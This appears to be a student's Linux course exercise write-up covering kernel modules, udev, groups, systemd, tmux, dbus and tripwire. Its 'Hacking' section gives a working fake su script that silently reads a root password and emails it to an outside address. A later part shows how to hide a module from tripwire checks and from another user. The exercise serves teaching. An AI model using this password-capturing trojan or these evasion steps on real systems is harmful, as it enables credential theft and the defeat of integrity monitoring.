Ex1 A clean setup

1. **Where to copy the dice module for it to be officially known to the kernel?**

   `/lib/modules` or `/lib/modules/$(uname -r)/kernel/drivers/char`

2. **What command to run in order to generate the `modules.dep` and `map` files?**

   `depmod`

3. **How to ensure the dice module is loaded at boot time, and how to pass it options?**

   add dice module to `/etc/modules` and set the parameter `dicedevice <option>=<value>`

4. **How to create a new `friends` group and add grandpa and his friends to it?**

```
sudo groupadd friends
usermod -a -G friends grandpa
usermod -a -G friends friend
```

5. **What is `udev` and how to define rules such that the group and permissions are automatically setup at device creation?** [1]

   udev (userspace `/dev`) is a device manager for the Linux kernel. As the successor of devfsd and hotplug, udev primarily manages device nodes in the `/dev` directory. At the same time, udev also handles all user space events raised when hardware devices are added into the system or removed from it, including firmware loading as required by certain devices.

   modify the rules stored in `/lib/udev/rules.d/*.rules`, for example: `KERNEL=="dice", ATTRS{idVendor}=="16c0", ATTRS{idProduct}=="05df", MODE="0666"`

Ex2.1 Hacking

Theoretical Background

1. **How adjust the PATH, ensure its new version is loaded but then forgotten?**

   add `export PATH=WHERE_YOUR_SU_IS:$PATH` to `~/.bashrc` if you are using bash, for example, or remove it after the script is finished. Run `source ~/.bashrc` to let the change take effect.

2. **What is the exact behaviour of su when wrong password is input?**

   throw a `perror` and output `su: Authentication failure`.

3. **When using the read command how to hide the user input?**

   `read -s <file_description>`

4. **How to send an email from the command line?**

   First, we prepare mail configuration.

```
sudo apt install mailutils
sudo apt install ssmtp
sudo vim /etc/ssmtp/ssmtp.conf
```

```
#
# Config file for sSMTP sendmail
```

```
#
# The person who gets all mail for userids < 1000
# Make this empty to disable rewriting.
root=lmx00518@qq.com

# The place where the mail goes. The actual machine name is required no
# MX records are consulted. Commonly mailhosts are named mail.domain.com
mailhub=smtp.qq.com:587

# Where will the mail seem to come from?
#rewriteDomain=

# The full hostname
hostname=LAPTOP-2510VM42.localdomain

# Are users allowed to set their own From: address?
# YES - Allow the user to specify their own From: address
# NO - Use the system generated From: address
#FromLineOverride=YES
#

AuthUser=lmx00518@qq.com
AuthPass=AUTHPASSFORTHEMAIL
UseTLS=Yes
```

Then we run `hack.sh` to hack mon's computer.

```
#!/bin/bash

mailto=lmx00518@qq.com

echo -e "Password: \c"
read -s password
echo
mail -s 'root password of mum' $mailto <<< $password
echo "su: Authentication failure"

echo $1
head -n -1 ~/.bashrc > ~/.bashrc.tmp
mv ~/.bashrc.tmp ~/.bashrc
exit 1
```

Ex2.2 Automatic Setup

1. **What is `systemd`, where are service files stored and how to write one?**

   `systemd` is a software suite]that provides an array of system components for Linux operating systems. Its main aim is to unify service configuration and behavior across Linux distrib systemd's primary component is a "system and service manager"—an init system used to bootstrap userspace and manage user processes. It also provides replacements for various daemons and utilities, including device management, login management, network connection management, and event logging. The name *systemd* adheres to the Unix convention of naming daemons by appending the letter *d*. It also plays on the term "System D", which refers to a person's ability to adapt quickly and improvise to solve problems.

Service files are usually stored in `/etc/systemd/system/`, usr`usr/lib/systemd/system/` and so on.

In order to write a service file, it should contains three sections: [2]

1. `[Unit]` this section contains information not specifically related to the type of the unit, such as the service description
    - `Description` a description of the unit
    - `After` services needed to be started before this
    - `Before` services needed to be started after this
    - `Requires` Declaring "hard" dependencies
    - `Wants` Declaring "soft" dependencies
2. `[Service]` specify things as the command to be executed when the service is started, or the type of the service itself
    - `EnvironmentFile` location of the parameter configuration file
    - `ExecStart` / `ExecStartPre` / `ExecStartPost` execute command when / before / after a service starts
    - `Type` The type of a service, can be one of the follows: `simple` / `forking` / `oneshot` / `dbus` / `notify`
3. `[Install]` use options related to the service installation
    - `WantedBy` targets wanted by this

2. **How to get a systemd service to autostart?**

   `sudo systemctl enable <service_name>`

3. **What is the difference between running `tmux` from the `systemd` service or from the `gp-2.10` daemon?**

   `gp-2.10` will create a process, which will be killed after the session is closed. Running `tmux` from the daemon enables us to detach and reattach to the session at any time, while running it from `systemd` enables `tmux` session to be created when the system is booted.

4. **What is `dbus` and how to listen to all the system events from the command line?**

   In computing, `dbus` is a message-oriented middleware mechanism that allows communication between multiple processes running concurrently on the same machine.

   `sudo dbus-monitor --system`

5. **What is `tmux`, when is it especially useful, and how to run a detached session?**

   `tmux` is an open-source terminal multiplexer for Unix-like operating systems. It allows multiple terminal sessions to be accessed simultaneously in a single window. It is useful for running more than one command-line program at the same time.

   `ctrl+b & d`

6. **What is `tripwire`, what are some alternatives, and why should the configuration files also be encrypted and their corresponding plaintext deleted?**

   `Tripwire` is a file integrity monitoring tool that watches for changes to critical files on your system.

   Alternatives: Samhain (Free, Open Source), AIDE (Free, Open Source), syschangemon (Free, Open Source) and Osquery (Free, Open Source).

   Because they determine what parts of the file system need to be monitored and what information needs to be collected, which are often critical and sensitive information.

7. **What is `cron` and how to use it in order to run tasks at a specific time?**

> The `cron` command-line utility, also known as cron job is a job scheduler on Unix-like operating systems. Users who set up and maintain software environments use cron to schedule jobs to run periodically at fixed times, dates, or intervals.

Implementation

First Strategy

We can add some tasks before the tripwire settings to remove the dice modules:

```
# With sudo privilege
rmmod dicedevice
rm -f /dev/dice /dev/dice[0-2]
systemctl stop gp
tripwire --check --email-report
```

As a result, we can remove the module, delete the devices, and stop the system service so that `tripwire` will not spot the changes.

Second Strategy

During the rest of time, what we need to do is to run a script to monitor dbus info, and remove the module immediately when mom logs in, or load the module when grandpa logs in.

Assume the script is located at `/usr/bin.gp-2.10`:

```
#!/bin/bash

DBUSCMD=dbus-monitor
DBUSOPTS=--system
MODULE="dicedevice"
DEVICE="dice"

cleanup(){
    # Remove the module dicedevice
    rmmod $MODULE
    rm -f /dev/${DEVICE} /dev/${DEVICE}[0-2]
}

welcome(){
    insmod /lib/module/$MODULE.ko gen_sides=200
    rm -f /dev/${DEVICE}[0-2]
    major=$(awk "/${DEVICE}/ {print $1}" /proc/devices)

    mknod /dev/${DEVICE}0 c $major 0
    mknod /dev/${DEVICE}1 c $major 1
    mknod /dev/${DEVICE}2 c $major 2

    # change privilege to 664: can read, write; cannot execute
    chmod 664 /dev/${DEVICE}[0-2]
}

$DBUSCMD $DBUSOPTS | while read line; do
    connected=$(echo $line | awk {print $7})
    case "$connected" in
        "mum")
```

```
            cleanup;
            ;;
        "grandpa")
            welcome;
            ;;
    esac
done
```

And the setting of systemd is listed as follows and is appended to `/etc/systemd/system`

```
[Unit]
Description=Auto Detect by GrandPa

[Service]
User=grandpa
Group=friends
Type=forking
RemainAfterExit=yes
ExecStart=tmux new-session -d -s gp -c 'bash /usr/bin.gp-2.10'
ExecStop=tmux kill-session -t gp

[Install]
WantedBy=multi-user.target
```

Then grandpa can use `systemctl` to launch a tmux session in the background to monitor `dbus`. Therefore, once mom logs on the system, the dice module will be removed automatically, which can only be read and written by grandpa since only he has the privilege.

Reference

1. Configure udev to change permissions on USB HID device? - Ask Ubuntu
2. How to create systemd service unit in Linux - Linux Tutorials - Learn Linux Configuration